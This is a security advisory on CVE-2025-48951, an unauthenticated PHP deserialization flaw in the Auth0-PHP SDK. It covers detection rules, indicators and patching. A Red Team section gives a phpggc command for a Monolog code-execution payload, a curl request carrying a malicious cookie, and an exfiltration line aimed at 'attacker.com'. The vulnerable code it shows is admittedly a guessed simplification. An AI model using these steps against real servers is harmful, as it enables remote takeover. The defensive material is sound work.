CVE-2025-48951

Executive Summary

CVE-2025-48951 is a critical Insecure Deserialization vulnerability (CWE-502) affecting the Auth0-PHP SDK and its downstream ecosystem, including the Auth0/symfony, Auth0/laravel-auth0, and Auth0/wordpress SDKs. The vulnerability arises from the insecure deserialization of cookie data processed by the SDK before any authentication occurs. An unauthenticated, remote attacker can exploit this by sending a specially crafted cookie containing malicious serialized PHP objects. Successful exploitation can lead to Remote Code Execution (RCE), allowing the attacker to fully compromise the application server.

The vulnerability affects all versions from 8.0.0-BETA3 up to, but not including, 8.3.1. The patch was released in version 8.3.1. Given the pre-authentication nature of the attack vector and the widespread use of Auth0 for identity management, this vulnerability poses a severe risk to affected applications.

Supply Chain & Package Security

This vulnerability is a classic supply chain risk. The Auth0-PHP SDK is a core dependency for several higher-level SDKs (Symfony, Laravel, WordPress). Any application using these packages inherits the vulnerability. Organizations must audit their composer.json files to ensure they are not pulling a vulnerable version of auth0/auth0-php. The attack surface is broadened because the vulnerable code is executed before any authentication checks, meaning no valid session is required to trigger the exploit.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Threat Level: Critical. The combination of a network-based, pre-authentication attack vector with a high impact on confidentiality, integrity, and availability makes this a top-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability resides in how the Auth0-PHP SDK handles session state via cookies. The SDK uses PHP's unserialize() function on cookie data to reconstruct session objects. The unserialize() function in PHP is inherently dangerous when used on untrusted input because it can instantiate arbitrary PHP objects and trigger their magic methods (e.g., __wakeup(), __destruct()).

Attack Flow:

1. Reconnaissance: The attacker identifies a target application using a vulnerable version of the Auth0-PHP SDK. This can be done by examining HTTP response headers (e.g., X-Powered-By: PHP/8.1) or by probing for specific Auth0 cookie patterns.
2. Crafting the Payload: The attacker crafts a malicious serialized PHP object. This object is designed to exploit a "gadget chain" – a sequence of classes and magic methods that, when deserialized, execute arbitrary code. Common gadget chains in PHP applications involve classes from popular libraries like Monolog, Guzzle, or SwiftMailer.
3. Delivery: The attacker sends an HTTP request to the target application with the malicious serialized payload set as the value of the Auth0 session cookie (e.g., auth0_session).
4. Deserialization: The vulnerable SDK receives the request and, before any authentication, calls unserialize() on the cookie value.
5. Code Execution: The deserialization process triggers the gadget chain, leading to the execution of attacker-controlled code (e.g., system('id'), file_get_contents('/etc/passwd')).

The core issue is the lack of input validation and the use of a dangerous PHP function on attacker-controlled data.

Vulnerable vs. Patched Code

Vulnerable Code (Version < 8.3.1):

The vulnerable code likely exists in the session handling logic. A simplified representation:

// Vulnerable: Directly unserializing cookie data
public function handle(Request $request) {
    $cookieValue = $request->cookies->get('auth0_session');
    if ($cookieValue) {
        $sessionData = unserialize($cookieValue); // INSECURE
        // ... process session data
    }
}

Patched Code (Version 8.3.1):

The patch replaces unserialize() with a safe alternative, such as JSON decoding, or implements strict validation and a whitelist of allowed classes.

// Patched: Using JSON decode instead of unserialize
public function handle(Request $request) {
    $cookieValue = $request->cookies->get('auth0_session');
    if ($cookieValue) {
        $sessionData = json_decode($cookieValue, true); // SAFE
        // ... process session data
    }
}

The key difference is the removal of unserialize() and the adoption of a format that does not allow arbitrary object instantiation.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target application running a vulnerable version of Auth0-PHP (e.g., 8.0.0-BETA3).
• Knowledge of a PHP gadget chain available in the target's environment (e.g., Monolog, Guzzle).

Exploitation Steps:

1. Identify Gadget Chain: Use a tool like phpggc to generate a payload for a known gadget chain. For example, if the target uses Monolog:

   phpggc Monolog/RCE1 system 'id' | base64
   

   This will output a base64-encoded serialized payload.

2. Craft the Request: Use curl to send the malicious cookie.

   curl -X GET 'https://target-app.com/' \
     -H 'Cookie: auth0_session=TzoyMzoiTW9ub2xvZ1xIYW5kbGVyXFN5c3RlbUhhbmRsZXIiOjE6e3M6OToiAGNvbnRhaW5lciI7czo2OiJzeXN0ZW0iO30='
   

   Note: The base64 string above is a placeholder and will not work without a valid gadget chain.

3. Verify Execution: Check for a callback or observe the server's response. The command id would typically not return output directly, but you can use a command that writes to a file or makes an outbound connection (e.g., curl attacker.com/$(whoami)).

Blue Team (Defensive)

Detection & Response:

1. Monitor for Anomalous Cookies: Look for unusually long or base64-encoded auth0_session cookies. A normal session cookie is typically a short JSON string.
2. Web Application Firewall (WAF) Rules: Deploy WAF rules to block requests containing serialized PHP objects in cookies. A signature for PHP serialized objects is O:\d+:".*":\d+:{.
3. Runtime Application Self-Protection (RASP): Use RASP solutions that can detect and block unserialize() calls on untrusted data.
4. Log Analysis: Correlate web server logs with PHP error logs. A failed deserialization attempt may generate a PHP warning or error.
5. Honeypots: Deploy decoy endpoints that mimic the vulnerable SDK to lure attackers and gather intelligence.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with an auth0_session cookie containing a long, base64-encoded string.
  • Outbound connections to known malicious IPs or domains from the web server.
  • Unusual HTTP POST requests to internal endpoints.

• Host IOCs:

  • Unexpected files in the web root (e.g., .php shells).
  • New user accounts or modified system binaries.
  • Suspicious processes running as the web server user (e.g., nc, bash -i).
  • PHP error logs containing entries like unserialize(): Error at offset.

• File IOCs:

  • Presence of phpggc or similar exploitation tools on the system.
  • Modified composer.json or composer.lock files.

Detection Engineering

YARA Rule

rule CVE_2025_48951_Auth0_Deserialization {
    meta:
        description = "Detects serialized PHP objects in Auth0 session cookies"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48951"
        severity = "critical"

    strings:
        $serialized_pattern = /O:\d+:".*":\d+:{/
        $auth0_cookie = "auth0_session"

    condition:
        $auth0_cookie and #serialized_pattern > 0
}

Sigma Rule

title: CVE-2025-48951 - Insecure Deserialization in Auth0-PHP Cookie
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with serialized PHP objects in the auth0_session cookie.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "auth0_session"
        cs-uri-query|re: "O:\\d+:\".*\":\\d+:{"
    condition: selection
falsepositives:
    - Legitimate use of serialized data is extremely rare in modern applications.
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-48951 - Auth0-PHP Insecure Deserialization Attempt"; flow:to_server; http.cookie; content:"auth0_session"; pcre:"/O:\d+:\".*\":\d+:{/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade the auth0/auth0-php package to version 8.3.1 or later immediately.

   composer require auth0/auth0-php:^8.3.1
   

2. Update Downstream SDKs: Ensure all dependent SDKs (Symfony, Laravel, WordPress) are updated to versions that require the patched Auth0-PHP SDK.
3. Validate Dependencies: Run composer audit to check for any other vulnerable packages.

Long-Term Mitigations:

1. Input Validation: Never trust user input. Implement strict validation and sanitization for all cookie data.
2. Avoid unserialize(): Replace unserialize() with safe alternatives like json_decode() for handling session data.
3. Web Application Firewall (WAF): Deploy a WAF with rules to block serialized PHP objects.
4. Least Privilege: Run the web application with the minimum necessary privileges to limit the impact of RCE.
5. Regular Audits: Conduct regular security audits and dependency checks.

Valters IT
Securing Digital Frontiers